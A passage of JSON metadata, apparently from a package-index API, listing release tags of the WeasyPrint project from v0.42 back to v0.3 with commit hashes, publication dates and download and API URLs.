id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.42/manifests"},{"name":"v0.41","sha":"bcb198d717db3074aa40b1302c9a848f9955c10f","kind":"commit","published_at":"2017-10-05T09:43:43.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.41","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.41/manifests"},{"name":"v0.40","sha":"fbcd088c51b373e4d5cc15ba6c7f7163d77ed2d8","kind":"commit","published_at":"2017-08-17T09:20:36.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.40","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.40/manifests"},{"name":"v0.39","sha":"baa698f4731f6e7b6166c398829ce218f94431ec","kind":"commit","published_at":"2017-06-24T12:17:13.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.39","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.39/manifests"},{"name":"v0.38","sha":"5b65283a227ce6f54f0a7902a2d88fa418c8c5b0","kind":"commit","published_at":"2017-06-16T09:35:42.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.38","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.38/manifests"},{"name":"v0.37","sha":"3151b5518a488124e9317fb610f58e10bcc0420b","kind":"commit","published_at":"2017-06-15T06:21:40.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.37","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.37/manifests"},{"name":"v0.36","sha":"e1d7d090e9d57521e1eb6e1ea871421f07ff3aae","kind":"commit","published_at":"2017-02-25T21:11:03.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.36","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.36/manifests"},{"name":"v0.35","sha":"2fe75815d137d86ba2df179fcc110451f7e3aff3","kind":"commit","published_at":"2017-02-25T21:03:46.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.35","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.35/manifests"},{"name":"v0.34","sha":"f53e8d05ed62e034a01f00b18cd4068e3c487f91","kind":"commit","published_at":"2016-12-21T00:11:23.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.34","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.34/manifests"},{"name":"v0.33","sha":"2614c48afc2f4c2a1cdf44be9a4bcb68849b098a","kind":"commit","published_at":"2016-11-28T20:20:38.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.33","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.33/manifests"},{"name":"v0.32","sha":"8bdb827e3838724b4ad6641bc63e7fce676eff8c","kind":"commit","published_at":"2016-11-17T16:03:43.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.32","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.32/manifests"},{"name":"v0.31","sha":"c5c06e6c0161e35d95d8bb8e2e79cddf459f7061","kind":"commit","published_at":"2016-08-28T14:25:35.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.31","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.31/manifests"},{"name":"v0.30","sha":"ba66649c1911d39f45feebe96220059995040c7b","kind":"commit","published_at":"2016-07-18T15:33:42.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.30","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.30/manifests"},{"name":"v0.29","sha":"f90f20519ed1504c0bd7136a84b70f4cbfbf44b1","kind":"commit","published_at":"2016-06-17T12:09:59.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.29","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.29/manifests"},{"name":"v0.28","sha":"35ea72b3f648c5a9a1780c8b9f12ef328700f121","kind":"commit","published_at":"2016-05-16T09:52:45.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.28","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.28/manifests"},{"name":"v0.27","sha":"208cf6b89ad406151be2e50a45900ea67594a6ac","kind":"commit","published_at":"2016-04-08T11:23:54.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.27","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.27/manifests"},{"name":"v0.26","sha":"41575e2f242ace725270112dd85bb56929359fc8","kind":"commit","published_at":"2016-01-29T18:55:36.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.26","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.26/manifests"},{"name":"v0.25","sha":"c47ed0c8f689c1e19d5b60a33fa64aa1ea8898ff","kind":"commit","published_at":"2015-12-17T11:01:34.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.25","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.25/manifests"},{"name":"v0.24","sha":"f5edde6c67822ff8d775cc7ec902515368980d1c","kind":"commit","published_at":"2015-08-04T14:33:05.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.24","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.24/manifests"},{"name":"v0.23","sha":"8b09651e5accd0dda913b0303d8ee45b3874fc00","kind":"commit","published_at":"2014-09-16T19:56:28.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.23","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.23/manifests"},{"name":"v0.22","sha":"24d6c0cb2700cc2901fd1de9f4b944e93c27a3a6","kind":"commit","published_at":"2014-05-05T10:53:38.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.22","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.22/manifests"},{"name":"v0.21","sha":"b11e4e2d94332007af957183c15d74a9ef9b2a0d","kind":"commit","published_at":"2014-01-11T12:13:14.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.21","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.21/manifests"},{"name":"v0.20.2","sha":"dcd640ddcec18d59676fd01c7941f5a16dc90b5f","kind":"commit","published_at":"2013-12-18T16:26:57.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.20.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.20.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.20.2/manifests"},{"name":"v0.20.1","sha":"f31f270552783cc4c10113c64744ac85e85fb8b7","kind":"commit","published_at":"2013-12-16T12:46:47.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.20.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.20.1/manifests"},{"name":"v0.20","sha":"927ffb82910ddf6589cfbe4b3bccc47036480b12","kind":"commit","published_at":"2013-12-14T03:50:49.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.20","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.20/manifests"},{"name":"v0.19.2","sha":"12966087ee5b4590457cea3ffebc37a39c951195","kind":"commit","published_at":"2013-06-18T15:40:18.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.19.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.19.2/manifests"},{"name":"v0.19.1","sha":"22b4a9540624a99275cae56165d54856efc19383","kind":"commit","published_at":"2013-04-30T15:08:33.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.19.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.19.1/manifests"},{"name":"v0.19","sha":"c5a90f09acda822bba197ac20ce97f029a3f0a1a","kind":"commit","published_at":"2013-04-18T09:59:44.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.19","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.19/manifests"},{"name":"v0.18","sha":"587ffaef6c26adf024b56084495320e903df47d6","kind":"commit","published_at":"2013-03-30T22:52:10.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.18","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.18/manifests"},{"name":"v0.17.1","sha":"f284205e78b2c34436452b4fea6ef8fb46cba109","kind":"commit","published_at":"2013-03-18T18:40:53.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.17.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.17.1/manifests"},{"name":"v0.17","sha":"8fc4ed043da72d876b8a14393329146f9435515d","kind":"commit","published_at":"2013-02-27T13:45:50.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.17","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.17/manifests"},{"name":"v0.16","sha":"3a43ed6a8bcef029b2e05da361792618a4dc820a","kind":"commit","published_at":"2012-12-13T10:49:24.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.16","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.16/manifests"},{"name":"v0.15","sha":"1cdd1bf3396e8d0ed5de08835320e04911b6ae3d","kind":"commit","published_at":"2012-10-09T18:10:25.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.15","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.15/manifests"},{"name":"v0.14","sha":"a09eb52b97b691b99121507ae0fd7b2298cd1c4d","kind":"commit","published_at":"2012-08-03T15:55:14.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.14","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.14/manifests"},{"name":"v0.13","sha":"1fa71a7036c64f1f19c97cc1aeedddf356045aaf","kind":"commit","published_at":"2012-07-23T17:15:19.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.13","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.13/manifests"},{"name":"v0.12","sha":"714fc401d0b728478423cbd6f7fb6a28532eb1c7","kind":"commit","published_at":"2012-07-19T09:55:21.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.12","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.12/manifests"},{"name":"v0.11","sha":"ffda839f5e3ccc22329fa1c1803094b455ed9f14","kind":"commit","published_at":"2012-07-04T12:29:11.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.11","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.11/manifests"},{"name":"v0.10","sha":"f01e714192e9f5e5923690df14bec86263925d02","kind":"commit","published_at":"2012-06-25T14:12:04.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.10","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.10/manifests"},{"name":"v0.9","sha":"4ec67570771fe7fa84360625c363834bd0de57a4","kind":"commit","published_at":"2012-06-04T16:57:50.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.9","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.9/manifests"},{"name":"v0.8","sha":"2435e50a48f4d2762bfe83e3e6bbfdd1271c572e","kind":"commit","published_at":"2012-05-07T16:31:33.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.8","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.8/manifests"},{"name":"v0.7.1","sha":"d83a02f7b834aff5dd5028c595584edfb4954f6a","kind":"commit","published_at":"2012-03-21T22:54:55.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.7.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.7.1/manifests"},{"name":"v0.7","sha":"d7843b22317d0131a041a0ded340f42af33ad63c","kind":"commit","published_at":"2012-03-21T18:01:28.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.7","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.7/manifests"},{"name":"v0.6.1","sha":"b9dc661f4efd32ce05b10d7bba6c456ff87d8bcc","kind":"commit","published_at":"2012-03-01T14:54:55.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.6.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.6.1/manifests"},{"name":"v0.6","sha":"8466ffe065cbc1d6e3cb39e9df3cf49467dbcbd3","kind":"commit","published_at":"2012-02-29T19:41:48.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.6","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.6/manifests"},{"name":"v0.5","sha":"ab47e4b37fb95457978ce80fa33689e7f3bf5484","kind":"commit","published_at":"2012-02-08T15:41:31.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.5","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.5/manifests"},{"name":"v0.4","sha":"817eba524c97ec9aab2d0fa44306d29881d9d47f","kind":"commit","published_at":"2012-02-07T15:12:04.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.4","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.4/manifests"},{"name":"v0.3.1","sha":"0bd8e7e93239a650760daddb3436ff5cca2fdf0f","kind":"commit","published_at":"2011-12-14T15:43:05.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.3